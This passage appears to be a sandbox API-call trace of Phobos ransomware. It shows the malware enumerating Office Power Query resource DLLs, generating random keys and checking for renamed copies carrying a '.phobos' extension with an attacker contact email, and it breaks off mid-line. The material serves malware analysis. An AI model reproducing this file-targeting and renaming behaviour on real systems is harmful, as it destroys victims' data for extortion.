CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.591] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fi\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.764] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=159808) returned 1 [0155.764] CloseHandle (hObject=0x254) returned 1 [0155.764] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fi\\microsoft.mashup.client.windows.resources.dll")) returned 0x220 [0155.764] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\Microsoft.Mashup.Client.Windows.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fi\\microsoft.mashup.client.windows.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.765] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fi\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.765] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.765] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hr\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.767] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=203432) returned 1 [0155.767] CloseHandle (hObject=0x254) returned 1 [0155.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hr\\microsoft.mashup.document.resources.dll")) returned 0x220 [0155.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\Microsoft.Mashup.Document.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hr\\microsoft.mashup.document.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.767] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hr\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.767] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.767] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hr\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.768] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=553024) returned 1 [0155.768] CloseHandle (hObject=0x254) returned 1 [0155.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hr\\microsoft.mashupengine.resources.dll")) returned 0x220 [0155.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\Microsoft.MashupEngine.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hr\\microsoft.mashupengine.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.768] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hr\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.769] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.769] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hu\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.775] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=61504) returned 1 [0155.775] CloseHandle (hObject=0x254) returned 1 [0155.775] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hu\\microsoft.mashup.client.excel.resources.dll")) returned 0x220 [0155.775] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\Microsoft.Mashup.Client.Excel.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hu\\microsoft.mashup.client.excel.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.776] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hu\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.776] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.776] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hu\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.780] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=211624) returned 1 [0155.780] CloseHandle (hObject=0x254) returned 1 [0155.781] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hu\\microsoft.mashup.document.resources.dll")) returned 0x220 [0155.781] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\Microsoft.Mashup.Document.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hu\\microsoft.mashup.document.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.785] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\hu\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.785] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.785] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\id\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.789] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=200768) returned 1 [0155.789] CloseHandle (hObject=0x254) returned 1 [0155.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\id\\microsoft.mashup.document.resources.dll")) returned 0x220 [0155.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\Microsoft.Mashup.Document.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\id\\microsoft.mashup.document.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.799] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\id\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.799] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.799] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\it\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.801] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=60072) returned 1 [0155.801] CloseHandle (hObject=0x254) returned 1 [0155.801] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\it\\microsoft.mashup.client.excel.resources.dll")) returned 0x220 [0155.802] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\Microsoft.Mashup.Client.Excel.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\it\\microsoft.mashup.client.excel.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.802] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\it\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.802] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.802] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\it\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.803] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=163904) returned 1 [0155.803] CloseHandle (hObject=0x254) returned 1 [0155.803] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\it\\microsoft.mashup.client.windows.resources.dll")) returned 0x220 [0155.803] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\Microsoft.Mashup.Client.Windows.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\it\\microsoft.mashup.client.windows.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.804] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\it\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.804] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.804] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\it\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.811] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=207528) returned 1 [0155.811] CloseHandle (hObject=0x254) returned 1 [0155.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\it\\microsoft.mashup.document.resources.dll")) returned 0x220 [0155.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\Microsoft.Mashup.Document.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\it\\microsoft.mashup.document.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.811] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\it\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.811] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.811] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ja\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.814] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=64168) returned 1 [0155.814] CloseHandle (hObject=0x254) returned 1 [0155.814] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ja\\microsoft.mashup.client.excel.resources.dll")) returned 0x220 [0155.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\Microsoft.Mashup.Client.Excel.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ja\\microsoft.mashup.client.excel.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.816] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ja\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.817] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.817] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ja\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.825] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=608936) returned 1 [0155.825] CloseHandle (hObject=0x254) returned 1 [0155.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ja\\microsoft.mashupengine.resources.dll")) returned 0x220 [0155.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\Microsoft.MashupEngine.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ja\\microsoft.mashupengine.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.825] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ja\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.825] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.825] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\kk\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.827] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=249920) returned 1 [0155.827] CloseHandle (hObject=0x254) returned 1 [0155.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\kk\\microsoft.mashup.document.resources.dll")) returned 0x220 [0155.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\Microsoft.Mashup.Document.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\kk\\microsoft.mashup.document.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\kk\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.828] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.829] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ko\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.835] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=61504) returned 1 [0155.835] CloseHandle (hObject=0x254) returned 1 [0155.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ko\\microsoft.mashup.client.excel.resources.dll")) returned 0x220 [0155.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\Microsoft.Mashup.Client.Excel.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ko\\microsoft.mashup.client.excel.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.835] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel 